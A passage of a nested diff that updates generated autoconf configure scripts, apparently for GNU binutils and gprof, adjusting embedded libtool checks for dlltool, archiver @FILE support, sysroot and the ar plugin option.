+@@ -8763,7 +9286,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
else
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -4840,7 +4856,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
/* end confdefs.h. */
int
-@@ -9453,22 +9986,29 @@ main ()
+@@ -8776,22 +9305,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -4883,7 +4899,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
# Warning - without using the other run time loading flags,
-@@ -9513,20 +10053,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8836,20 +9372,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# Microsoft Visual C++.
# hardcode_libdir_flag_spec is actually meaningless, as there is
# no search path for DLLs.
@@ -4961,7 +4977,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
;;
darwin* | rhapsody*)
-@@ -9587,7 +10170,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8910,7 +9489,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# FreeBSD 3 and greater uses gcc -shared to do shared libraries.
freebsd* | dragonfly*)
@@ -4970,7 +4986,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
hardcode_libdir_flag_spec='-R$libdir'
hardcode_direct=yes
hardcode_shlibpath_var=no
-@@ -9595,7 +10178,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8918,7 +9497,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux9*)
if test "$GCC" = yes; then
@@ -4979,7 +4995,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
else
archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
fi
-@@ -9611,7 +10194,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8934,7 +9513,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux10*)
if test "$GCC" = yes && test "$with_gnu_ld" = no; then
@@ -4988,7 +5004,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
else
archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
fi
-@@ -9635,10 +10218,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8958,10 +9537,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
;;
ia64*)
@@ -5001,7 +5017,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
;;
esac
else
-@@ -9717,23 +10300,36 @@ fi
+@@ -9040,23 +9619,36 @@ fi
irix5* | irix6* | nonstopux*)
if test "$GCC" = yes; then
@@ -5046,7 +5062,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
else
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9818,7 +10414,7 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9141,7 +9733,7 @@ rm -f core conftest.err conftest.$ac_objext \
osf4* | osf5*) # as osf3* with the addition of -msym flag
if test "$GCC" = yes; then
allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
@@ -5055,7 +5071,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
else
allow_undefined_flag=' -expect_unresolved \*'
-@@ -9837,9 +10433,9 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9160,9 +9752,9 @@ rm -f core conftest.err conftest.$ac_objext \
no_undefined_flag=' -z defs'
if test "$GCC" = yes; then
wlarc='${wl}'
@@ -5067,7 +5083,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
else
case `$CC -V 2>&1` in
*"Compilers 5.0"*)
-@@ -10415,8 +11011,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -9738,8 +10330,9 @@ cygwin* | mingw* | pw32* | cegcc*)
need_version=no
need_lib_prefix=no
@@ -5079,7 +5095,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
library_names_spec='$libname.dll.a'
# DLL is installed to $(libdir)/../bin by postinstall_cmds
postinstall_cmds='base_file=`basename \${file}`~
-@@ -10449,13 +11046,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -9772,13 +10365,71 @@ cygwin* | mingw* | pw32* | cegcc*)
library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
;;
esac
@@ -5152,7 +5168,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
# FIXME: first we should search . and the directory the executable is in
shlibpath_var=PATH
;;
-@@ -10547,7 +11202,7 @@ haiku*)
+@@ -9860,7 +10511,7 @@ haiku*)
soname_spec='${libname}${release}${shared_ext}$major'
shlibpath_var=LIBRARY_PATH
shlibpath_overrides_runpath=yes
@@ -5161,16 +5177,16 @@ index d4b13e6fc8b..dd5224c5c81 100755
hardcode_into_libs=yes
;;
-@@ -11343,7 +11998,7 @@ else
+@@ -10656,7 +11307,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 11346 "configure"
+-#line 10659 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -11387,10 +12042,10 @@ else
+@@ -10700,10 +11351,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -5183,16 +5199,16 @@ index d4b13e6fc8b..dd5224c5c81 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11449,7 +12104,7 @@ else
+@@ -10762,7 +11413,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 11452 "configure"
+-#line 10765 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -11493,10 +12148,10 @@ else
+@@ -10806,10 +11457,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -5205,7 +5221,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -15981,13 +16636,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+@@ -14785,13 +15436,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
@@ -5226,7 +5242,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -16002,14 +16664,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+@@ -14806,14 +15464,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
@@ -5245,7 +5261,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -16042,12 +16707,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+@@ -14846,12 +15507,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
@@ -5259,7 +5275,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -16102,8 +16767,13 @@ reload_flag \
+@@ -14906,8 +15567,13 @@ reload_flag \
OBJDUMP \
deplibs_check_method \
file_magic_cmd \
@@ -5273,7 +5289,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
STRIP \
RANLIB \
CC \
-@@ -16113,12 +16783,14 @@ lt_cv_sys_global_symbol_pipe \
+@@ -14917,12 +15583,14 @@ lt_cv_sys_global_symbol_pipe \
lt_cv_sys_global_symbol_to_cdecl \
lt_cv_sys_global_symbol_to_c_name_address \
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
@@ -5289,7 +5305,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
DSYMUTIL \
NMEDIT \
LIPO \
-@@ -16134,7 +16806,6 @@ no_undefined_flag \
+@@ -14938,7 +15606,6 @@ no_undefined_flag \
hardcode_libdir_flag_spec \
hardcode_libdir_flag_spec_ld \
hardcode_libdir_separator \
@@ -5297,7 +5313,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
exclude_expsyms \
include_expsyms \
file_list_spec \
-@@ -16170,6 +16841,7 @@ module_cmds \
+@@ -14974,6 +15641,7 @@ module_cmds \
module_expsym_cmds \
export_symbols_cmds \
prelink_cmds \
@@ -5305,7 +5321,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
postinstall_cmds \
postuninstall_cmds \
finish_cmds \
-@@ -16943,7 +17615,8 @@ $as_echo X"$file" |
+@@ -15747,7 +16415,8 @@ $as_echo X"$file" |
# NOTE: Changes made to this file will be lost: look at ltmain.sh.
#
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
@@ -5315,7 +5331,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
# Written by Gordon Matzigkeit, 1996
#
# This file is part of GNU Libtool.
-@@ -17046,19 +17719,42 @@ SP2NL=$lt_lt_SP2NL
+@@ -15850,19 +16519,42 @@ SP2NL=$lt_lt_SP2NL
# turn newlines into spaces.
NL2SP=$lt_lt_NL2SP
@@ -5359,7 +5375,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
# A symbol stripping program.
STRIP=$lt_STRIP
-@@ -17088,6 +17784,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+@@ -15892,6 +16584,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
# Transform the output of nm in a C name address pair when lib prefix is needed.
global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
@@ -5372,7 +5388,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
# The name of the directory that contains temporary libtool files.
objdir=$objdir
-@@ -17097,6 +17799,9 @@ MAGIC_CMD=$MAGIC_CMD
+@@ -15901,6 +16599,9 @@ MAGIC_CMD=$MAGIC_CMD
# Must we lock files when doing compilation?
need_locks=$lt_need_locks
@@ -5382,7 +5398,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
# Tool to manipulate archived DWARF debug symbol files on Mac OS X.
DSYMUTIL=$lt_DSYMUTIL
-@@ -17211,12 +17916,12 @@ with_gcc=$GCC
+@@ -16015,12 +16716,12 @@ with_gcc=$GCC
# Compiler flag to turn off builtin functions.
no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
@@ -5398,7 +5414,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
# Compiler flag to prevent dynamic linking.
link_static_flag=$lt_lt_prog_compiler_static
-@@ -17303,9 +18008,6 @@ inherit_rpath=$inherit_rpath
+@@ -16107,9 +16808,6 @@ inherit_rpath=$inherit_rpath
# Whether libtool must link a program against all its dependency libraries.
link_all_deplibs=$link_all_deplibs
@@ -5408,7 +5424,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
# Set to "yes" if exported symbols are required.
always_export_symbols=$always_export_symbols
-@@ -17321,6 +18023,9 @@ include_expsyms=$lt_include_expsyms
+@@ -16125,6 +16823,9 @@ include_expsyms=$lt_include_expsyms
# Commands necessary for linking programs (against libraries) with templates.
prelink_cmds=$lt_prelink_cmds
@@ -5418,7 +5434,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
# Specify filename containing input files.
file_list_spec=$lt_file_list_spec
-@@ -17353,210 +18058,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+@@ -16157,210 +16858,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
# if finds mixed CR/LF and LF-only lines. Since sed operates in
# text mode, it properly converts lines to CR/LF. This bash problem
# is reportedly fixed, but why not run on old versions too?
@@ -5793,10 +5809,10 @@ index d4b13e6fc8b..dd5224c5c81 100755
chmod +x "$ofile"
diff --git a/gprof/configure b/gprof/configure
-index 3cf41b79116..e5d57f52912 100755
+index 5703bba4462..e1ac86ec797 100755
--- a/gprof/configure
+++ b/gprof/configure
-@@ -662,8 +662,11 @@ OTOOL
+@@ -663,8 +663,11 @@ OTOOL
LIPO
NMEDIT
DSYMUTIL
@@ -5808,7 +5824,7 @@ index 3cf41b79116..e5d57f52912 100755
OBJDUMP
LN_S
NM
-@@ -780,6 +783,7 @@ enable_static
+@@ -781,6 +784,7 @@ enable_static
with_pic
enable_fast_install
with_gnu_ld
@@ -5816,7 +5832,7 @@ index 3cf41b79116..e5d57f52912 100755
enable_libtool_lock
enable_plugins
enable_largefile
-@@ -1442,6 +1446,8 @@ Optional Packages:
+@@ -1443,6 +1447,8 @@ Optional Packages:
--with-pic try to use only PIC/non-PIC objects [default=use
both]
--with-gnu-ld assume the C compiler uses GNU ld [default=no]
@@ -5825,7 +5841,7 @@ index 3cf41b79116..e5d57f52912 100755
Some influential environment variables:
CC C compiler command
-@@ -5124,8 +5130,8 @@ esac
+@@ -4471,8 +4477,8 @@ esac
@@ -5836,7 +5852,7 @@ index 3cf41b79116..e5d57f52912 100755
-@@ -5165,7 +5171,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+@@ -4512,7 +4518,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
$as_echo_n "checking how to print strings... " >&6; }
# Test print first, because it will be a builtin if present.
@@ -5845,7 +5861,7 @@ index 3cf41b79116..e5d57f52912 100755
test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
ECHO='print -r --'
elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -5851,8 +5857,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+@@ -5198,8 +5204,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
# Try some XSI features
xsi_shell=no
( _lt_dummy="a/b/c"
@@ -5856,7 +5872,7 @@ index 3cf41b79116..e5d57f52912 100755
&& eval 'test $(( 1 + 1 )) -eq 2 \
&& test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
&& xsi_shell=yes
-@@ -5901,6 +5907,80 @@ esac
+@@ -5248,6 +5254,80 @@ esac
@@ -5937,7 +5953,7 @@ index 3cf41b79116..e5d57f52912 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
$as_echo_n "checking for $LD option to reload object files... " >&6; }
if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -5917,6 +5997,11 @@ case $reload_flag in
+@@ -5264,6 +5344,11 @@ case $reload_flag in
esac
reload_cmds='$LD$reload_flag -o $output$reload_objs'
case $host_os in
@@ -5949,7 +5965,7 @@ index 3cf41b79116..e5d57f52912 100755
darwin*)
if test "$GCC" = yes; then
reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6085,7 +6170,8 @@ mingw* | pw32*)
+@@ -5432,7 +5517,8 @@ mingw* | pw32*)
lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
lt_cv_file_magic_cmd='func_win32_libid'
else
@@ -5959,7 +5975,7 @@ index 3cf41b79116..e5d57f52912 100755
lt_cv_file_magic_cmd='$OBJDUMP -f'
fi
;;
-@@ -6239,6 +6325,21 @@ esac
+@@ -5586,6 +5672,21 @@ esac
fi
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
$as_echo "$lt_cv_deplibs_check_method" >&6; }
@@ -5981,7 +5997,7 @@ index 3cf41b79116..e5d57f52912 100755
file_magic_cmd=$lt_cv_file_magic_cmd
deplibs_check_method=$lt_cv_deplibs_check_method
test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6252,11 +6353,164 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -5601,6 +5702,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
@@ -5995,11 +6011,7 @@ index 3cf41b79116..e5d57f52912 100755
+
+
+
-
-
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
++if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
@@ -6140,7 +6152,15 @@ index 3cf41b79116..e5d57f52912 100755
+
+
+
-+if test -n "$ac_tool_prefix"; then
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -5615,8 +5867,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
+ for ac_prog in ar
+ do
+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
@@ -6148,7 +6168,7 @@ index 3cf41b79116..e5d57f52912 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_AR+:} false; then :
-@@ -6272,7 +6526,7 @@ do
+@@ -5632,7 +5886,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -6157,7 +6177,7 @@ index 3cf41b79116..e5d57f52912 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -6292,11 +6546,15 @@ $as_echo "no" >&6; }
+@@ -5652,11 +5906,15 @@ $as_echo "no" >&6; }
fi
@@ -6176,7 +6196,7 @@ index 3cf41b79116..e5d57f52912 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6312,7 +6570,7 @@ do
+@@ -5672,7 +5930,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -6185,7 +6205,7 @@ index 3cf41b79116..e5d57f52912 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -6331,6 +6589,10 @@ else
+@@ -5691,6 +5949,10 @@ else
$as_echo "no" >&6; }
fi
@@ -6196,7 +6216,7 @@ index 3cf41b79116..e5d57f52912 100755
if test "x$ac_ct_AR" = x; then
AR="false"
else
-@@ -6342,16 +6604,72 @@ ac_tool_warned=yes ;;
+@@ -5702,25 +5964,19 @@ ac_tool_warned=yes ;;
esac
AR=$ac_ct_AR
fi
@@ -6205,20 +6225,36 @@ index 3cf41b79116..e5d57f52912 100755
fi
-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
+: ${AR=ar}
+: ${AR_FLAGS=cru}
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
+
+
+
+@@ -5732,6 +5988,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
+$as_echo_n "checking for archiver @FILE support... " >&6; }
+if ${lt_cv_ar_at_file+:} false; then :
@@ -6231,7 +6267,7 @@ index 3cf41b79116..e5d57f52912 100755
+int
+main ()
+{
-
++
+ ;
+ return 0;
+}
@@ -6257,23 +6293,30 @@ index 3cf41b79116..e5d57f52912 100755
+ fi
+ fi
+ rm -f conftest.* libconftest.a
-
++
+fi
+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
++
+fi
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
+$as_echo "$lt_cv_ar_at_file" >&6; }
-
++
+if test "x$lt_cv_ar_at_file" = xno; then
+ archiver_list_spec=
+else
+ archiver_list_spec=$lt_cv_ar_at_file
+fi
-
-
-
-@@ -6693,8 +7011,8 @@ esac
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -6071,8 +6385,8 @@ esac
lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
# Transform an extracted symbol line into symbol name and symbol address
@@ -6284,7 +6327,7 @@ index 3cf41b79116..e5d57f52912 100755
# Handle CRLF in mingw tool chain
opt_cr=
-@@ -6730,6 +7048,7 @@ for ac_symprfx in "" "_"; do
+@@ -6108,6 +6422,7 @@ for ac_symprfx in "" "_"; do
else
lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
fi
@@ -6292,7 +6335,7 @@ index 3cf41b79116..e5d57f52912 100755
# Check to see that the pipe works correctly.
pipe_works=no
-@@ -6771,6 +7090,18 @@ _LT_EOF
+@@ -6149,6 +6464,18 @@ _LT_EOF
if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
cat <<_LT_EOF > conftest.$ac_ext
@@ -6311,7 +6354,7 @@ index 3cf41b79116..e5d57f52912 100755
#ifdef __cplusplus
extern "C" {
#endif
-@@ -6782,7 +7113,7 @@ _LT_EOF
+@@ -6160,7 +6487,7 @@ _LT_EOF
cat <<_LT_EOF >> conftest.$ac_ext
/* The mapping between symbol names and symbols. */
@@ -6320,7 +6363,7 @@ index 3cf41b79116..e5d57f52912 100755
const char *name;
void *address;
}
-@@ -6808,8 +7139,8 @@ static const void *lt_preloaded_setup() {
+@@ -6186,8 +6513,8 @@ static const void *lt_preloaded_setup() {
_LT_EOF
# Now try linking the two files.
mv conftest.$ac_objext conftstm.$ac_objext
@@ -6331,7 +6374,7 @@ index 3cf41b79116..e5d57f52912 100755
LIBS="conftstm.$ac_objext"
CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -6819,8 +7150,8 @@ _LT_EOF
+@@ -6197,8 +6524,8 @@ _LT_EOF
test $ac_status = 0; } && test -s conftest${ac_exeext}; then
pipe_works=yes
fi
@@ -6342,7 +6385,7 @@ index 3cf41b79116..e5d57f52912 100755
else
echo "cannot find nm_test_func in $nlist" >&5
fi
-@@ -6857,6 +7188,20 @@ else
+@@ -6235,6 +6562,18 @@ else
$as_echo "ok" >&6; }
fi
@@ -6358,18 +6401,18 @@ index 3cf41b79116..e5d57f52912 100755
+
+
+
-+
-+
-@@ -6873,6 +7218,41 @@ fi
+@@ -6251,6 +6590,43 @@ fi
+
+
+
++
++
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
+$as_echo_n "checking for sysroot... " >&6; }
+
@@ -6405,7 +6448,7 @@ index 3cf41b79116..e5d57f52912 100755
-@@ -7084,6 +7464,123 @@ esac
+@@ -6462,6 +6838,123 @@ esac
need_locks="$enable_libtool_lock"
@@ -6529,7 +6572,7 @@ index 3cf41b79116..e5d57f52912 100755
case $host_os in
rhapsody* | darwin*)
-@@ -7647,6 +8144,8 @@ _LT_EOF
+@@ -7025,6 +7518,8 @@ _LT_EOF
$LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
echo "$AR cru libconftest.a conftest.o" >&5
$AR cru libconftest.a conftest.o 2>&5
@@ -6538,26 +6581,7 @@ index 3cf41b79116..e5d57f52912 100755
cat > conftest.c << _LT_EOF
int main() { return 0;}
_LT_EOF
-@@ -7842,7 +8341,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -7931,7 +8431,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8229,8 +8729,6 @@ fi
+@@ -7607,8 +8103,6 @@ fi
lt_prog_compiler_pic=
lt_prog_compiler_static=
@@ -6566,7 +6590,7 @@ index 3cf41b79116..e5d57f52912 100755
if test "$GCC" = yes; then
lt_prog_compiler_wl='-Wl,'
-@@ -8396,6 +8894,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -7774,6 +8268,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='--shared'
lt_prog_compiler_static='--static'
;;
@@ -6579,7 +6603,7 @@ index 3cf41b79116..e5d57f52912 100755
pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
# Portland Group compilers (*not* the Pentium gcc compiler,
# which looks to be a dead project)
-@@ -8458,7 +8962,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -7836,7 +8336,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='-KPIC'
lt_prog_compiler_static='-Bstatic'
case $cc_basename in
@@ -6588,7 +6612,7 @@ index 3cf41b79116..e5d57f52912 100755
lt_prog_compiler_wl='-Qoption ld ';;
*)
lt_prog_compiler_wl='-Wl,';;
-@@ -8515,13 +9019,17 @@ case $host_os in
+@@ -7893,13 +8393,17 @@ case $host_os in
lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
;;
esac
